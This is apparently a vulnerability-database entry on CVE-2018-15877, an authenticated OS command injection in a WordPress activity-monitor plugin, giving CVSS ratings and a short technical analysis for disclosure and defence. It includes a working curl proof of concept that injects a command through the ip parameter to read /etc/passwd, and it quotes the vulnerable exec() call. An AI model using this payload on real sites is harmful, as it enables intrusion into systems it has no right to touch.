Attacker Value
Low
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
Low
Attack Vector
Network
0

CVE-2018-15877

Disclosure Date: August 26, 2018 •
CVE-2018-15877 CVSS v3 Base Score: 8.8
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Description

The Plainview Activity Monitor plugin before 20180826 for WordPress is vulnerable to OS command injection via shell metacharacters in the ip parameter of a wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools request.

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4
Ratings
  • Attacker Value
    Low
  • Exploitability
    Very High
Technical Analysis

This plugin has approximately 1000 active installations and 24,816 downloads according to Wordpress. The vulnerable versions are approximately 25% of the active installations, which is not that much. Also, the attacker needs to be authenticated with a privileged account to make it exploitable, which reduce the likelihood of exploitation. However, the vulnerability is very easy to exploit: a simple HTTP POST request with a specially crafted ip parameter:

curl -b '<your_session_cookie>;' \
     -d 'ip=127.0.0.1|cat%20/etc/passwd&lookup=Lookup&submit=Submit%20request' \
     'http://my_wordpress.com/wp-admin/admin.php?page=plainview_activity_monitor&tab=activity_tools'

The root cause is a call to exec() with concatenation of unsanitized input (activities_overview.php:357):

exec( 'dig -x ' . $ip, $output );
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CVSS V3 Severity and Metrics
Base Score:
8.8 High
Impact Score:
5.9
Exploitability Score:
2.8
Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
Low
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Offensive Application
Unknown
Utility Class
Unknown
Ports
Unknown
OS
Unknown
Vulnerable Versions
n/a
Prerequisites
Unknown
Discovered By
Unknown
PoC Author
Unknown
Metasploit Module
exploit/unix/webapp/wp_plainview_activity_monitor_rce
Reporter
Unknown
Technical Analysis